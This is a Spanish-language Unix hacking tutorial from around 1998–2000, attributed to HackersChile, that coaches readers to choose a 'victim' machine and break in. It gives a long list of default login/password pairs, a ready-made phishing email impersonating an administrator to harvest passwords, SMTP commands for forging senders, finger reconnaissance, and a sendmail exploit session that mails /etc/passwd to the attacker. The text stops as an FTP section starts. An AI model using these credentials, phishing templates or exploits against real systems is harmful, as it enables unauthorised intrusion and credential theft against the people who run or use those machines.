Site hosted by Angelfire.com: Build your free website today!

============
HACKING
============
 HACKERSCHILE
1998 - 2000

 

INTRODUCCION

 
El siguiente texto presenta información basica acerca del hacking,por lo que entraremos en profundidad en otro momento, su uso es completamente educacional y ... chao, hace las hueas que queray con este texto.
Por cierto, la ortografia no es mi fuerte, asi que te no te sorprendas si encuentras errores ortograficos tremendos.

Tambien, aunque no se diga constantemente a lo largo del texto, la mayoria de las ideas aqui indicadas son para sistemas UNIX y derivados por lo que si tienes windows no te servirá de mucho, pero no te preocupes, tambien hablaremos de esa mierda en otro momento.

Primero que nada deberemos nivelarnos en la forma de hablar por lo que te recomiendo que leas el siguiente glosario de los terminos mas usados en estas paginas y en todas las relacionadas con el hacking, más adelante apareceran nuevos terminos, que describiremos oportunamente.

 

GLOSARIO

HACKER

Un hacker es una persona con un conocimiento importante de sistemas operativos, redes, protocolos, lenguajes de programacion, etc. con lo que se podria resumir tener un dominio de la seguridad en redes. Asi, opino que un hacker no es un chaval que le pasan algunos logins y passwords y que se dedica a entrar a la maquina y ejecutar exploits que ni sabe ni lo que hacen ni le importa, sino que simplemente sabe que le dan categoria de rOOt. Para mi esto se puede hacer durante una temporada para aprender pero siempre como una etapa para llegar mas adelante a fines mas interesantes :)

Resumiendo, un HACKER deberia ser una persona con amplios conocimientos y que sabe en todo momento perfectamente lo que hace y que entra en sistemas por diversion y no para destrozar sistemas o cosas parecidas. Aunque para otros como el famoso Marcus J. Ranum compara los hackers con “vandals”, pero en fin, hay opiniones para todos los gustos :o(

ADMINISTRADOR, sysop, root :Esla persona que se encarga del sistema. Se suele denominar rOOt y es la persona que tiene el poder absoluto sobre la maquina. Tiene un UID=0.

AGUJERO, bug, hole : Es und efecto en el software o hardware que como su nombre indica deja agujeros para los hackers y que gracias a dios existen muchos ya que si no esto seria de locos jeje

AIX: Sistema operativo de IBM

BUGS y EXPLOITS: Los bugs son fallos en el software o en el hardware y que usan los hackers para entrar en sistemas y un exploit es un programa que aprovecha el agujero dejado por el bug. Ver AGUJERO.

BOMBA LOGICA: Codigo que ejecuta una particular manera de ataque cuando una determinada condicion se produce. Por ejemplo una bomba logica puede formatear el disco duro un dia determinado, pero a diferencia de un virus.. la bomba logica no se replica.

BACKDOOR :Puerta trasera. Mecanismo que tiene o que se debe crear en un software para acceder de manera indebida

BBS (Bulletin Board System): Es una maquina a la que se accede a traves de la linea telefonica y donde se dejan mensajes y software. La putada es que si la bbs no esta en tu ciudad.. timofonica se hace millonaria a tu costa. :o(

BOXING: Uso de aparatos electronicos o electricos (Boxes) para hacer phreaking. Esto no es hacking sino phreaking... hay blue box, red box, etc.

BOUNCER: Tecnica que consiste en usar una maquina de puente y que consigue que telneteando al puerto xxxx de la maquina “bouncerada” te redireccione la salida a un puerto determinado de otra maquina. Esta tecnica es muy usada en el irc redireccionando a los puertos destinados a los servidores de irc por anonimicidad y otros temas que no vienen al caso.

CABALLOS DE TROYA :Programa que se queda residente en un sistema y que ha sido desarrollado para obtener algun tipo de informacion. Por ejemplo seria un caballo de troya un programa que al ejecutarlo envie el archivo de /etc/passwd a una determinada IP (Casualmente la nuestra ;o)

CORTAFUEGOS: Ver firewall

COPS: Programa de seguridad.

CERT (Computer Emergency Response Team): Bien, como su nombre indica es una gente que se dedica de trabajar en seguridad pero que en su esfuerzo por informar de bugs nuevos, casi nos ayudan mas a nosotros que a ellos :o>

CLOACKER: Programa que borra los logs (huellas) en un sistema. Tambien llamados zappers.

CRACKER : Esta palabra tiene dos acepciones, por un lado se denomina CRACKER a un HACKER que entra a un sistema con fines malvados aunque normalmente la palabra CRACKER se usa para denominara a la gente que desprotege programas, los modifica para obtener determinados privilegios, etc.

CRACKEADOR DE PASSWORDS:Programa utilizado para sacar los password encriptados de los archivos de passwords. Esto se desarrollara mas adelante en este texto

DAEMON: Proceso en background en los sistemas Unix, es decir un proceso que esta ejecutandose en segundo plano.

EXPLOIT : Metodo concreto de usar un bug para entrar en un sistema.

FIREWALL, cortafuego: Sistema avanzado de seguridad que impide a personas no acreditadas el acceso al sistema mediante el filtrado de los paquetes dependiendo de la IP de origen, en otras palabras, una putada :o(. En la actualidad esta considerado como uno de los medios de seguridad mas fiables y hay poca documentacion al respecto de como hackearlos.

FUERZA BRUTA (hackear por...) Es el procedimiento que usan tanto los crackeadores de password de UNIX como los de NT (o por lo menos los que yo conozco) que se basan en aprovechar diccionarios para comparar con los passwords del sistema para obtenerlos. Esto se desarrolla mas adelante en este texto.

FAKE MAIL: Enviar correo falseando el remitente. Es muy util en ingenieria social.

GRAN HERMANO: Cuando la gente se refiere al Gran Hermano, se refiere a todo organismo legal de lucha contra el mundo underground.

GUSANO: Termino famoso a partir de Robert Morris, Jr.Gusanos son programas que se reproducen ellos mismos copiandose una y otra vez de sistema a sistema y que usa recursos de los sistemas atacados.

HOLE: Ver bug.

HP/UX: Sistema operativo de HP.

INGENIERIA SOCIAL :Obtencion de informacion por medios ajenos a la informatica. Sobre esto nos extenderemos mas adelante en este texto.

IRIX: Sistema operativo.

ISP (Internet Services Provider): Proveedor de servicios internet.

KEY: Llave. Se puede traducir por clave de acceso a un software o sistema.

KERBEROS: Sistema de seguridad en el que los login y los passwords van encriptados.

KEVIN MITNICK: Es el hacker por excelencia!!!. Sus hazañas se pueden encontrar en mil sitios en la red.

LAMER: Un lamer es una persona que no tiene ninguna inquietud por todos estos temas de la seguridad sino que lo unico que quiere es tener un login y un pass para entrar a un sistema y formatear el disco duro, o para decirle a un amigo que es un superhacker.. o el tipico que te llega en el IRC y te dice.. he suspendido un examen y quiero entrar al computador de mi escuela para cambiar las notas. Importante es distinguir lamer de newbie o novato. Un novato o newbie es una persona que SI que tiene interes en estos temas pero que logicamente necesita un tiempo de aprendizaje ya que nadie ha nacido aprendico.

LINUX: Sistema operativo de la familia UNIX y que es muy adecuado para tenerlo en la maquina de casa ya que no requiere demasiados recursos. Este sistema operativo lo debes tener en tu casa si quieres hacer algo en el mundo del hacking aunque ya se comentara mas adelante.

LOGIN : Para entrar en un sistema por telnet se necesita siempre un login (nombre) y un password (clave).

MAQUINA: En este texto, habitualmente se utilizara el termino maquina para referirse al computador. Mejor no entrar en filosofias

MAIL BOMBER: Es una tecnica de puteo que consiste en el envio masivo de mails a una direccion (para lo que hay programas destinados al efecto) con la consiguiente problematica asociada para la victima. Solo aconsejo su uso en situaciones criticas.

NUKEAR: Consiste en joder a gente debido a bugs del sistema operativo o de los protocolos. Esto se da habitualmente en el IRC y considero que es una perdida de tiempo... pero hay mucha gente que su cabecita no da para mas y se entretiene con estas pijadas. ¿Sera porque no son capaces de enfrentarse a cosas mas serias?? :->

PASSWORD :Contraseña asociada a un login. Tambien se llama asi al famoso archivo de UNIX /etc/passwd que contiene los passwords del sistema que se comentaran mas adelante en este texto.

PHREAKING: Consiste en evitar total o parcialmente el pago a las grandes multinacionales. Este concepto se usa basicamente para referirse al pago del telefono ya que tal y como esta Timofonica apetece. En general, es complicado conseguirlo en España, pero hay que intentarlo. :->>

PIRATA:Persona dedicada a la copia y distribucion de software ilegal, tando software comercial crackeado, como shareware registrado, etc...No hay que confundir en absoluto este termino con el de hacker ya que tal como se ve en las definiciones no tiene nada que ver.

PPP: Point-to-point protocol

PASSWORD CRACKER: Ver CRACKEADOR DE PASSWORD.

PGP: Pretty Good Privacy. Es un programa de encriptacion de llave publica.

PHRACK: zine sobre hack muy famosa.

PUERTO-PORT: Se define mas adelante en este texto.

PORT SCANNER: Programa que te indica que puertos de una maquina estan abiertos. Mas adelante en este texto se explican estos conceptos mas detenidamente.

ROOT,administrador, sysop: Persona que tiene control total sobre el sistema y cuyo UID es 0.

ROUTER: Maquina de la red que se encarga de encauzar el flujo de paquetes.

SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan por una red. Mas claramente, todo lo que circula por la red va en 'paquetes de datos' que el sniffer chequea en busca de informacion referente unas cadenas prefijadas por el que ha instalado el programa.

SHELL: Este concepto puede dar lugar a confusion ya que una shell en un sistema unix es un programa que interactua entre el kernel y el usuario mientras que en nuestros ambientes significa el conjunto de login y password.... es decir que si alguien dice que cambia shells ya sabes a lo que se refiere no? :)

SUNOS: Sistema operativo de Sun.

SOLARIS: Sistema operativo de Sun.

SYSOP: Ver rOOt.

TCP/IP: Arquitectura de red con un conjunto de protocolos. Es la que se suele usar en Internet.. para mas info sobre el tema cualquier libro de TCP IP es valido..

TONELOC: Posiblemente el mejor war dealer (como la cerveza) jeje

TRACEAR :Seguir la pista a traves de la red a una informacion o de una persona.

UDP: Protocolo de comunicacion que a diferencia del TCP no es orientado a conexion.

UNIX: Familia de sistemas operativos que engloba a SunOS, Solaris, irix, etc..

VMS: Sistema operativo.

VIRUS: Es un programa que se reproduce a si mismo y que muy posiblemente ataca a otros programas. Crea copias de si mismo y suele dañar o joder datos, cambiarlos o disminuir la capacidad de tu sistema disminuyendo la memoria util o el espacio libre.

WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es muy pesado) que realizan llamadas telefonicas en busca de modems. Sirve para buscar maquinas sin hacerlo a traves de internet. Estas maquinas suelen ser muy interesantes ya que no reciben tantos ataques y a veces hay suerte y no estan tan cerradas. ;o)

WORM: Ver gusano.

WINDOWS : Sistema operativo??

ZAP: Zap es un programa que se usa para borrar las huellas en un sistema. Debido a lo famoso que se ha hecho muchos programas que desarrollan estas funciones se les llama zappers aunque precisamente este no es el mejor ;o)

ZINE o EZINE: Revista electronica

 

IMPORTANTE : vamos a dar por sabido que sabes UNIX, LINUX y WINDOWS.

 

BUSCANDO LA MAQUINA OBJETIVO Y ALGO SOBRE UNIX ORIENTADO AL HACKING.

Lo primero que se ha de hacer, como es logico es determinar la maquina objetivo ( la victima ). Esta decision se puede hacer en base a distintos criterios como pueda ser que es una maquina especialmente interesante para ti o que es una maquina que sabes o te han dicho que el root es hueon de mierda. Bien, sea como fuere, suponemos que se ha determinado la maquina objetivo.

Tras esto, se ha de recopilar la mayor informacion sobre esa maquina. Lo mejor es empezar haciendo un escaneo de puertos a la maquina, esto consiste en ir haciendo telnet’s a todos los puertos de la maquina ( normales 1-6000) para ver que programas contestan en cada puerto y su version, o si el puerto esta cerrado. Por ejemplo: con un telnet normal (puerto 23) determinaremos el sistema operativo, con un telnet 79 (finger) para obtener informacion, entrar por el netstat (puerto 15 ) si lo tiene abierto (poco usual), mirar si tiene pagina web y que demonio de http usa (puerto 80), mirar la version del sendmail (puerto 25), ver si esta el systat abierto, ver si tiene ftp anonimo en el 21, ver si ofrece nfs o nis, etc. Para esto se necesita un escaneador de puertos de los que hay muchisimos en la red ( strobe, portscan, nmap, etc.), estamos haciendo uno, pero esta en construcción.

Ademas, en caso de que quieras hackear victima1.microsoft.com, en caso de que veas que no puedes hacer nada en esta maquina victima1, te puedes plantear hackear otra del dominio microsoft.com, ya que si consigues root y colocas un sniffer en victima2.microsoft.com ( o quiza con un poco de suerte con el hosts.equiv o el .rhosts) seguramente podras conseguir cuentas en victima1.microsoft.com. Posiblemente, esto no lo entiendas ahora, pero tras leer todo el texto y tener un poco mas claro lo que es un sniffer, como pillar root y demas, posiblemente le encontraras mas sentido a este parrafo.

 

Nota para los huones de mierda que de seguro tienen Windows en ves de Unix o Linux.

El archivo hosts.equiv es un archivo que hay en los sistemas unix que indica que maquinas pueden ejecutar comandos remotos en esta maquina sin pedir ni login ni password, es decir, indica las maquinas que son confiables.

Igualmente, el archivo .rhosts es un archivo que hay en el HOME de cada usuario que indica las maquinas a las que permite ejecutar un comando remoto sin pedir password.

Ademas, te recuerdo que con el comando host puedes obtener una lista de maquinas pertenecientes a un dominio dado y que el comando traceroute muchas veces puede ayudar ( recuerda que el traceroute muestra el recorrido que hacen los paquetes hasta llegar a la maquina destino).

Para todos aquellos que no tienen muy claro lo que son los puertos, TCP, UDP, IP y demas cosas similares pueden ver el TCP IP Illustrated tomo 1 de Stevens o el famoso NETWORKING with TCPIP que ademas creo que tiene el primer tomo traducido al castellano.

A continuacion se listan los mas interesantes en principio para las aplicaciones que nos interesan (en los puertos que no ponga nada, se refieren a tcp y los que se refieran a udp se indicara):

Numero de Servicio de puerto

Función

9 Discard Dev / null

basura

11 systat

Información sobre usuarios

13

La hora y fecha de maquina remota

15 netstat

Mucha informacion sobre la red

17 /tcp qotd

Quote of the Day

19 chargen

Generador de caracteres

21 ftp

Transferencia de archivos

22 /tcp ssh

SSH Remote Login Protocol

23 telnet

Accede a un sistema remoto por medio de un login y pass

25 smpt

Para crear email.

37 time

La hora.

38 /tcp rap

Route Access Protocol

39 rlp

Localizacion del recurso

42 /tcp name server

HostName Server

43 whois

Informacion sobre la red objetivo

49 /tcp tacacs

LoginHostProtocol(TACACS)

50 /tcp re-mail-ck

RemoteMailCheckingProtocol

53 domain

Nombre de la maquina remota

63 /tcp whois++

whois++

 

 
69/tcp tftp TrivialFileTransfer
70 gopher Buscador de informacion con bugs ;o)
79 finger Mucha informacion sobre los usuarios
80 http ServidorWeb
88/tcp kerberos Kerberos
107 rtelnet Telnet remoto
109/tcp pop2 PostOfficeProtocol-Version2
110 pop3 Email entrante Version3
111/tcp sunrpc SUN Remote Procedure Call
113/tcp auth Authentication Service
115/tcp sftp Simple File Transfer Protocol
117/tcp uucp-path UUCP Path Service
119 nntp Grupos de noticias Usenet
133/tcp statsrv Statistics Service
136/tcp profile PROFILE Naming System
137/tcp netbios-ns NETBIOSNameService
137/udp netbios-ns NETBIOSNameService
138/tcp netbios-dgm NETBIOSDatagramService
138/udp netbios-dgm NETBIOSDatagramService
139/tcp netbios-ssn NETBIOSSessionService
139/udp netbios-ssn NETBIOSSessionService
143/tcp imap InternetMessageAccessProtocol (xploit remoto jeje)
144/tcp news NewS
161/tcp snmp SNMP
194/tcp irc InternetRelayChatProtocol
213/tcp ipx IPX
220/tcp imap3 InteractiveMailAccessProtocolv3
443 shttp Otro servidor web teoricamente seguro
512/udp biff ndica a los usuarios que han recibido mail
513/tcp rlogin remote login
513/udp who who remoto y da info sobre la carga de la maquina
514/tcp shell Shell remota
514/udp syslog
515/tcp printer spooler
520 route Protocolo de informacion routing
529/tcp irc-serv IRC-SERV

 

 

Puedes obtener muchas listas de puertos en Internet por lo que te he puesto una lista resumida aunque en realidad con la practica te sueles remitir a un numero mas reducido de puertos pero eso que lo vea cada uno kon la experiencia.

Tras saber que conocimientos se deben adquirir, ahora te comento los programas que se deben tener para poder hacer cositas.

Bien, lo primero que comentaria es que es mas comodo hackear con unix/linux que con el ventanukos ya que aunque es mas complejo, ofrece muchas mas posibilidades ya que el mismo sistema operativo te ofrece algunas ventajas que no ofrece el windows. No voy a entrar a comentar estas diferencias pero si usas unix, basicamente solo has de pillarte un escaneador de puertos y poco mas. Se ha de recordar que lleva incorporado el compilador de c, perl, la mayoria de los programas de seguridad (satan, cops, iss...) estan disponibles para unix asi como los programas para hackear, y muchas mas kosas que ya iremos descubriendo como el tiempo. Ademas unix te permite comandos interesantes como el host, rpcinfo, los comandos remotos, etc.

Ademas, tal y como se ha comentado o comentara a lo largo del texto, la informacion y estar actualizado en bugs y exploits es una de las cosas mas importantes en este mundillo por lo que un consejo es que habitualmente ojees las paginas de hack para pillar los ultimos bugs y xploits asi como las listas de correo habilitadas para el respecto (bugtraq, firewall ,etc). Tened en cuenta que la eficacia de un xploit es inversamente proporcional al tiempo que hace que salio asi que no esperes entrar en muchas maquinas con bugs de los años 80, entendes la idea no?.

 

2.- INTRODUCCION A DISTINTOS SISTEMAS

En este texto se va a hablar de hackear maquinas Unix pero hay que recordar que aparte del Unix tambien existen otros sistemas operativos para mainframes y minicomputadores como el VMS para computadores VAX (de la marca DEC, Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para computadores IBM, y otros sistemas operativos de menor profileracion.

 

Dentro de los UNIX se puede hacer diferencias:

SISTEMA OPERATIVO

VENDEDOR

PROCESADOR

DESENDENCIA

IRIX

Silicon Graphics

MIPS

System V

ULTRIX

Digital (viejo)

MIPS R2/3000

MBSD

Digital UNIX

Digital (nuevo)

MIPS R2/3000

ystem V (?)

AIXS

IBM

?

BSD

HP-UX

Hewlett Packard

PA-RISC

System V

SCO UNIX

SCO

Intel x86

FreeBSD

independiente

Intel x86

BSD

LINUX

independiente

Intel x86

BSD

SunOS

Sun (viejo)

Sparc

BSD

Solaris

Sun (nuevo)

Sparc / x86

System V

UNICOS

Cray

OSF/1

DEC

Alpha

ConvexOS

Convex

 

Para entrar en un sistema, lo primero que has de saber es como funciona ya que si no, no podras manejarte en el. Por esto es importante conocer UNIX/LINUX ya que basicamente, conociendo este sistema operativo podras moverte por el resto de sistemas unix aunque de vez en cuando te encuentras de cada cosa por ahi que da miedo. A continuacion se describen algunos sistemas y en algunos se indica la pinta que tienen para poder identificarlos al hacerles un telnet ( Nota: esta info la he pillado de la red y creo que es un poco vieja pero la pongo porque opino que puede servir de algo):

VMS - La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre el sistema operativo VMS (virtual memory system). VMS se caracteriza por su prompt 'Username:'. Este sistema no te dira si has entrado un login correcto o no y te desconectara despues de tres malos intentos. Tambien mantiene un record de todos los logins que fallaron e informa al due¤o de la cuenta la proxima vez que entre cuantos intentos fallados se hicieron. Es uno de los sistemas mas seguros desde fuera pero ya dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno de los mejores archivos de ayuda de entre los demas sistemas, para accesar a esta ayuda solo escribe HELP en el prompt.

VM/CMS - Este sistema es ejecutado en las super computadoras de IBM (International Business Machines) llamadas mainframes. Una vez conectado a una de estas computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te dara un prompt "." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON <usuario>

DEC-10 - Operan el sistema operativo TOPS-10. Este tipo de maquinas se reconocen por el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo varios intentos en el login prompt sin guardar un log de los intentos fallados. Las cuentas estan en forma [xxx,yyy]. Lo mejor de este sistema es la posibilidad de obtener informacion sobre las personas en linea antes de entrar a el usando el comando systat. Si ves una cuenta que lea [234,1001] BOB JONES, seria inteligente probar como password BOB, JONES, BOBBY, etc. Para entrar al sistema se usa el comando:

login xxx,yyy [enter]

password:

 

Este sistema como antes lo habia dicho, permite intentos sin limite y ademas te avisa si el login que estas usando existe.

PRIME - Esta computadora opera con el sistema operativo Primos. Son faciles de detectar ya que lo reciben a uno con el mensaje "Primecon xx.xx.xx" o algo parecido dependiendo de la version que te encuentres. Usualmente no ofrecen ningun prompt asi que debes escribir "login <usuario>". Si la version es anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o CTRL-C y entraras. Este sistema ofrece la capacidad de conectarte a los NUAS de todo el mundo con el comando NETLINK...sintax: nc <nua>

Al hacer un telnet muestra un aspecto del tipo:

PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)

 

 

DECSERVER - Las DECs son una serie de computadoras conectadas entre si para formar una sola unidad de procesamiento, la funcionalidad de estos sistemas es altamente utilizado por los hackers para quebrar passwords de cuentas unix por la rapidez del sistema. El prompt usualmente sera: "Enter Username>" aunque yo he visto otros prompts en estos sistemas.

El nombre de usuario puede ser cualquier cosa, lo mejor sera presionar algo nada sospechoso como `c' o algun numero. De ahi te presentara con el prompt `local>'. De ahi debes ejecutar `c <sistema>' para conectarte. Para obtener una lista de sistemas conectados ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S existen comandos como MODEM o DIAL que permiten hacer uso de un modem para llamadas externas que te permitiran marcar a BBS internacionales a expensas de la compa¤ia que opera el DEC.

Al hacer un telnet a este sistema sale algo del tipo:

DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

AIX

IBM AIX Version 3 for RISC System/6000

(C) Copyrights by IBM and by others 1982, 1990.

login:

 

Lo reconoceras porque es el unico sistema Unix que borra la pantalla y sale el login cerca del final de la pantalla.

 

CISCO Router

  FIRST BANK OF TNO

  95-866 TNO VirtualBank

  REMOTE Router - TN043R1

  Console Port

  SN - 00000866

TN043R1>

 

Toda la info anterior expuesta anteriormente sobre los distintos sistemas, la he obtenido basicamente de la red y la mayoria no la he comprobado por lo que es facil que haya errores por lo que te agradeceria que me informes todos los bugs que encuentres en esta parte del texto sobre distintos sistemas.

Igualmente, estoy interesado en toda la info que me pueda mandar la gente sobre la identificacion de los distintos sistemas operativos y los comandos y diferencias basicas entre los sistemas operativos. Como siempre, mi mail esta abierto para este tipo de info ;--)

 

CONSEGUIR UNA CUENTA

 

Una cuenta puede ser el primer paso para poder entrar en un sistema (aunque hay bugs que te dan directamente una cuenta e incluso la de rOOt, pero eso es caso aparte) por lo que en este capitulo se vera como conseguir una cuenta.

Hay muchiiiiisimos metodos para conseguir una cuenta pero aqui se van a contar los siguientes:

1.- Cuentas por defecto

2.- Ingenieria social

3.- Conseguir archivo passwd de manera remota con algun bug

4.- Conseguir directamente una cuenta con un bug

5.- PHF

6.- Xploits que te dan una shell remota

7.- Otros metodos

 

1.- Cuentas por defecto

Este es un metodo de locos y solo lo has de usar si vas muy perdido o si estas muy desesperado ya que raras veces funcionan. Sinceramente, yo no las he comprobado ya que nunca uso este metodo por lo que agradeceria vuestras rectificaciones para posteriores ediciones del texto. Incluso hay sistemas operativos muy raros que no se si seran viejos pero yo las incluyo todos por si a alguien les sirven de algo. En posteriores ediciones ya se hara un filtrado :o)

Aqui estan para varios sistemas:

Cuentas defaults en general:
adm
admin
ann
anon
anonymous/anonymous
backup
batch
bin
checkfsys
daemon
demo
diag
field
ftp
games
guest/guest
guest/anonymous
help
install
listen
lp
lpadmin
maint
makefsys
mountfsys
network
news
nobody
nuucp
nuucpa
operator
powerdown
printer
pub
public
reboot
rje
rlogin
root
sa
setup
shutdown
startup
sync
sys/sys
sysadm
sysadmin
sysbin/sysbin sysbin/bin
sysman
system
tech
test
trouble
tty
umountfsys
user/user user1/user1
uucp
uucpa
visitor
root/root
root/system
sys/sys
sys/system
daemon/daemon
uucp/uucp
tty/tty
test/test
unix/unix
unix/test
bin/bin
adm/adm
adm/admin
admin/adm
admin/admin
sysman/sysman
sysman/sys
sysman/system
sysadmin/sysadmin
sysadmin/sys
sysadmin/system
sysadmin/admin
sysadmin/adm
who/who
learn/learn
uuhost/uuhost
guest/guest
host/host
nuucp/nuucp
rje/rje
games/games
games/player
sysop/sysop
root/sysop
demo/demo
decnet/ddennet
guest/friend
field/service
guest/welcome
system/manager
default/user
decnet/nonpriv
field/digital
field/test
postmaster/mail
sysmaint/service
sysmaint/digital
system/operator
system/manager
system/syslib
system/uetp
systest_clig/systest
userp/user
sysadmin/admin
daemon/daemon
sysbin/sysbin
AIX

guest guest


DECserver

Access
System


VMS

autolog1/autolog o autolog1
cms/cms
cmsbatch/cms o cmsbatch
erep/erep
maint/maint o maintain
operatns/operatns o operator
operator/operator
rscs/rscs
smart/smart
sna/sna
vmtest/vmtest
vmutil/vmutil
vtam/vtam
field/service
systest/utep
systest_clig/systest
systest_clig/uetp


PRIME

Prime/prime
Prime/primos
Primos/primos
Primos/prime
primos_cs/prime
primos_cs/primos
primenet/primenet
system/system
system/prime
system/primos
netlink/netlink
test/test
guest/guest
guest1/guest


DEC10

1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES


SGI Irix

4DGifts
guest
demos
lp
nuucp
tour
tutor
accounting
boss
demo
manager
pdp8
pdp11
software

 

4.2.- INGENIERIA SOCIAL

Bien, este no es un metodo de hack en el sentido que todos piensan... no tiene nada que ver con informatica ni con computadores ni tcp/ip ni unix ni nada de eso sino que simplemente consiste en ser un poco picaro ;o).

La ingenieria social se basa en que hay mucha gente por ahi que tiene una cuenta (tanto de un proveedor de internet como una shell) y que no esta muy alerta jeje. En fin, como les comento hay varios metodos para obtener cuentas usando ingenieria social, aqui simplemente cuento algunos para que te hagas una idea pero cada uno que piense y su imaginacion le dara algunos truquillos mas.

En fin, el metodo e-mail es el mas importante por el que sera el que mas desarrollaremos en este texto aunque tambien se podria hacer por telefono. La idea es sencilla.. enviar un mail (anonimo) a alguien para que te de el login y el password. Parece dificil que traguen, no?.. pues te puedo asegurar que no lo es. X D

Simplemente envia un mail de este estilo:

Estimado señor Lopez: (Importante conocer la identidad de la persona para darle mas confianza)

El objeto de este correo electronico es comunicarle que debido a mantener la seguridad de nuestro sistema victima.com, se requiere que envie un mail con sus datos personales y su login y su password ya que en nuestro sistema es muy importante la seguridad y deseamos mantenerla con estos chequeos rutinarios.

Agradeciendo su atencion se despide

Pepito Rodriguez pepito@victima.com

Administrador del sistema victima.com

Para enviar un mail para falsear el remitente, lo que se debe hacer es hacer un telnet a una maquina unix que tenga el puerto 25 abierto y dar los siguientes pasos:

Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando te diga que ya estas conectado, has de hacer:

helo ingenieria@social.com >pleased to meet ingenieria@social.com

Tras esto has de decir quien quieres que aparezca como remitente con el comando mail from:

mail from: ingenieria@social.com

  > ingenieria@social.com... Sender is valid.

Si sale esto, todo va bien.. por lo que tendras que indicar quien es el destinatario usando el comando rcpt

rcpt to: bill@gates.com

  > "bill@gates.com"... Recipient okay

Tras esto, lo que se ha de hacer es indicar el mensaje en si con el comando data y cuando quieras acabar pones un . en una linea.. algo asi:

  data

  > Enter mail, end with "." on a line by itself

Hola Bill

.

  > Mail accepted

Con esto el mensaje ya esta enviado, y para cerrar la conexion has de usar quit.

 

  > connection is closed.

 

En realidad con esto no se consigue un mail anonimo sino que lo que consigues es especificar el remitente que tu quieres. Para enviar mail anonimo has de usar servidores de correo anonimo o hacer este mensaje enlazando unos mails con otros.

 

Para saber si un servidor es anonimo has de hacer:

 

HELO servidor@anonimo.com

 

Y si cuando el servidor responde no aparece tu IP por ningun lado, entonces es un servidor anonimo o pseudoanonimo.

 

 

Este texto puede estar mucho mas elaborado.. pero servira para ver la idea y creeme este metodo funciona y por otro lado no es complicado de hacer ;o)

 

La pregunta ahora es... como sabemos los telefonos o los mails de la gente de victima.com???. Bien, hay varias respuestas.. muchas veces por casualidad (un vecino, un compañero de clase, etc), otras pasandotelas otro hacker ( a saber de donde vendran ¡!) y algunos metodos mas entre los que destacaria el finger. El finger es el puerto 79 y si el host victima.com lo tiene abierto, simplemente telnetealo y usando finger -l @victima.com sacaras informacion sobre la gente que esta concectada a victima.com asi como otra informacion interesante como su email. Luego puedes ir probando con finger -l nombre_usuario@victima.com con lo que obtendras aun mas informacion del sistema.

 

Tambien se puede hacer finger root@victima.com , guest@victima.com, etc con lo que obtendras informacion sobre ellos aunque no esten conectados.

 

Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto pero no te da informacion. Esto puede ser porque esta usando tcp-wrappers, pero eso es tema aparte, simplemente lo comento para que sepas que te puede pasar.

 

Este metodo, y usando este script, te puede hacer conseguir muchos passwords pero hay que currarselo mucho :o(. Obviamente, solo pensando un poco se te pueden ocurrir muchas mas maneras de aprovechar el finger ya que da bastante informacion sobre los usuarios aunque esta informacion cuando es realmente util es combinada con otros sistemas de ataque :)

 

Hay muchos mas sistemas de ingenieria social como la chica necesitada de ayuda en el irc y cosas parecidas, pero tampoco creo que valga demasiado la pena explicarlo mas. Ademas, como en todos estos temas, el unico limite es tu imaginacion :o)

 

Como es pesado buscar manualmente, puedes buscar maquinas con finger usando un script hecho en shell y usando listas de hosts como las que se explicaran en el apartado de nfs.

 

Ademas, para los que vean que este metodo es un poco coñazo, el script este siempre es util ya que tened en cuenta que las maquinas que tengan el finger abierto son maquinas que no estan muy concienciadas por la seguridad no?.. jeje.. mejor no sigo dando ideas :o) aunque tened en cuenta que esto no siempre sera cierto ya que es posible que usen los tcp-wrappers.

 

Nota: El tcp-wrapper es un programa que permite filtrar ip por los distintos puertos e indicar que demonio o programa se ejecuta en cada uno de los puertos por lo que pueden ver todas las aplicaciones maleficas que pueden conseguir los roots usando este tipo de programas por lo que cuidado ahi fuera.

 

 

 

4.3.- CONSEGUIR archivo DE PASSWD A TRAVES DE ALGUN BUG

 

 

En fin, hay muchos bugs y xploits que te permiten el acceso al archivo de passwd pero aqui voy a exponer algunos que aunque son antiguos son bastante ilustrativos (para pillar xploits nuevos, a buscar por la red ke hay muchos.. de todos modos, en los apartados de pillar root, pondre xploits modernos y que funcionan ;o).. estos los he elegido aunque sean un poco antiguos porque son bastante ilustrativos:

 

Sistemas: Unix's en general, espacialmente AIX y SUNOS

Versiones: Sendmail, versiones anteriores a la 5.57 que no esten parcheadas

 tumaquina% telnet victima.com 25

 Trying X.Y.Z.A...

 Connected to victima.com

 Escape character is '^]'.

 220 victima.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04

 mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"

 250 "|/bin/mail tu_direccion@de_correo.com < /etc/passwd"... Sender ok

 rcpt to: loquequieras

 550 loquequieras... User unknown

 data

 354 Enter mail, end with "." on a line by itself

 .

 250 Mail accepted

 quit

 Connection closed by foreign host.

 

 

Notas:

-victima.com = nombre del computador a hackear

-mimaquina = nombre de nuestro computador

-Lo que aparece con un numero delante son mensajes de nuestra victima,

el resto es lo que tienes que escribir.

 

La idea de este bug, es que usualmente, en el sendmail en la linea de mail from: pondrias pepe@uno.es , pero sin embargo, y la gracia esta aqui, le dices que te mande el archivo /etc/passwd. Pero te digo una cosa sinceramente, este bug no funciona casi nunca, y si funciona, felicidades , estas en una maquina que el rOOt no tiene ni puta idea,

 

 

Como conseguir el archivo /etc/passwd si el ftp esta mal configurado

 

